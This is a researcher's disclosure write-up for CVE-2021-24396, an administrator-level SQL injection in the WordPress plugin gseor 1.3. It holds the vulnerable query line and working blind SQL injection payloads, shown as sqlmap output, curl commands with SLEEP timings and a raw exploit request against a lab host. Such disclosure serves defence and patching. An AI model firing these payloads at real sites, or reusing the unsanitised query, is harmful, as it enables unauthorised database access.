

[Wp Plugin Gseor](#)

Plugin Details

Plugin Name: [wp-plugin:gseor](#)

Effected Version : 1.3 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24396

Identified by : [Syed Sheeraz Ali](#)

[WPScan Reference URL](#)

Disclosure Timeline

- May 9, 2021: Issue Identified and Disclosed to WPScan
- May 13, 2021: Plugin Closed
- June 10, 2021: CVE Assigned
- August 22, 2021: Public Disclosure

Technical Details

Vulnerable File: /gseor.php#457

Vulnerable Code block and parameter:

Administrator level SQLi for parameter pageid [/gseor.php#457](#).

```
457:      $pages_db = $wpdb->get_results( "SELECT * FROM $table_name WHERE id = ".$_GET["pageid"]." ORDER BY id DESC");
```

PoC Screenshots

```
[*] starting @ 06:06:23 /2021-05-05/

[06:06:23] [INFO] parsing HTTP request from '/Users/sheerazali/Documents/wpcve/gsor.req'
[06:06:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pageid (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: page=gseor.php&search=1&pageid=1 AND 7584=7584

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=gseor.php&search=1&pageid=1 AND (SELECT 3434 FROM (SELECT(SLEEP(5))))R8Dn
---
[06:06:24] [INFO] testing MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to
merge them in further requests? [Y/n] Y
[06:06:24] [WARNING] reflective value(s) found and filtering out
[06:06:25] [INFO] confirming MySQL
[06:06:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[06:06:25] [INFO] fetching current user
[06:06:25] [INFO] resumed: bob@localhost
current user: 'bob@localhost'
[06:06:25] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'

+ sqlmap-dev git:(master) # time curl -i -s -k -X 'GET' \
-H 'Host: 172.28.128.50' -H 'Cache-Control: max-age=0' -H '$Upgrade-Insecure-Requests: 1' -H '$User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537
.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H '$Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applic
tion/signed-exchange;v=b3;q=0.9' -H '$Sec-GPC: 1' -H '$Accept-Encoding: gzip, deflate' -H '$Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H '$Connection: close' \
-b $'wordpress.232395f24f6cfff47569f2739c21385d6-adminK7C1620299005K7C15JXmpPpeJQ1VG5o0xo45fblUve08BU0tkrbprgx8EK7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c138
2bbf579; wordpress_test_cookie=MPK2KCookieK20check; tk_al=woaK3A1QVTE6vbuCedvp65Nb1K28uJEL; wordpress_logged_in_232395f24f6cfff47569f2739c21385d6-adminK7C1620299005K7C15JXmpPpeJ
Q1VG5o0xo45fblUve08BU0tkrbprgx8EK7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c1382bbf579'
$'http://172.28.128.50/wp-admin/admin.php?page=gseor.php&search=1&pageid=1'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 05 May 2021 00:28:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-l=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1620174520; expires=Thu, 05-May-2022 00:28:40 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X 'GET' -H 'Host: 172.28.128.50' -H -H -H -H -H -H 0.00s user 0.00s system 4% cpu 0.172 total
```

```
* sqlmap-dev git:(master) # time curl -i -s -k -X $'GET' \
-H $'Host: 172.28.128.50' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15.7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'wordpress.232395f24f6cff47569f2739c21385d6-admin%7C1620299005%7C15JXmpPpeJQ1VG5o0xo045fblVve00BU0t0krbprgx8E%7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c1382bbf579; wordpress_test_cookie=WPzK0Cookie%20check; tk_ai=wo0K3A1QVT6EvbuCedvp6S0b1%20bUeJ1; wordpress_logged_in_232395f24f6cff47569f2739c21385d6-admin%7C1620299005%7C15JXmpPpeJQ1VG5o0xo045fblVve00BU0t0krbprgx8E%7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c1382bbf579; wp-settings-time=1-1620174339' \
$'http://172.28.128.50/wp-admin/admin.php?page=gseor.php&search=1&pageid=1 AND (SELECT 6449 FROM (SELECT(SLEEP(5)))wwdQ)'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 05 May 2021 00:30:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time=1-1620174617; expires=Thu, 05-May-2022 00:30:17 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'GET' -H $'Host: 172.28.128.50' -H -H -H -H -H -H -H -H 0.00s user 0.01s system 0% cpu 5.126 total

* sqlmap-dev git:(master) # time curl -i -s -k -X $'GET' \
-H $'Host: 172.28.128.50' -H $'Cache-Control: max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15.7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-GPC: 1' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
-b $'wordpress.232395f24f6cff47569f2739c21385d6-admin%7C1620299005%7C15JXmpPpeJQ1VG5o0xo045fblVve00BU0t0krbprgx8E%7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c1382bbf579; wordpress_test_cookie=WPzK0Cookie%20check; tk_ai=wo0K3A1QVT6EvbuCedvp6S0b1%20bUeJ1; wordpress_logged_in_232395f24f6cff47569f2739c21385d6-admin%7C1620299005%7C15JXmpPpeJQ1VG5o0xo045fblVve00BU0t0krbprgx8E%7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c1382bbf579; wp-settings-time=1-1620174630' \
$'http://172.28.128.50/wp-admin/admin.php?page=gseor.php&search=1&pageid=1 AND (SELECT 6449 FROM (SELECT(SLEEP(15)))wwdQ)'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 05 May 2021 00:30:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time=1-1620174630; expires=Thu, 05-May-2022 00:30:30 GMT; Max-Age=31536000; path=/
Content-Encoding: gzip

curl -i -s -k -X $'GET' -H $'Host: 172.28.128.50' -H -H -H -H -H -H -H -H 0.00s user 0.00s system 0% cpu 15.087 total
```

Exploit

```
GET /wp-admin/admin.php?page=gseor.php&search=1&pageid=1 AND (SELECT 6449 FROM (SELECT(SLEEP(5)))wwdQ) HTTP/1.1
Host: 172.28.128.50
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620299005%7C15JXmpPpeJQ1VG5o0xo045fblVve00BU0t0krbprgx8E%7Cb8b96ad5
Connection: close
```

Response

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sqlmap resumed the following injection point(s) from stored session:

Parameter: pageid (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: page=gseor.php&search=1&pageid=1 AND 7584=7584

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=gseor.php&search=1&pageid=1 AND (SELECT 3434 FROM (SELECT(SLEEP(5)))RBDm)

[06:06:24] [INFO] testing MySQL

you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which interse

[06:06:24] [WARNING] reflective value(s) found and filtering out

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web server operating system: Linux Ubuntu

web application technology: Nginx 1.18.0

back-end DBMS: MySQL >= 8.0.0

[06:06:25] [INFO] fetching current user

[06:06:25] [INFO] resumed: bob@localhost

current user: 'bob@localhost'

[06:06:25] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/172.28.128.50'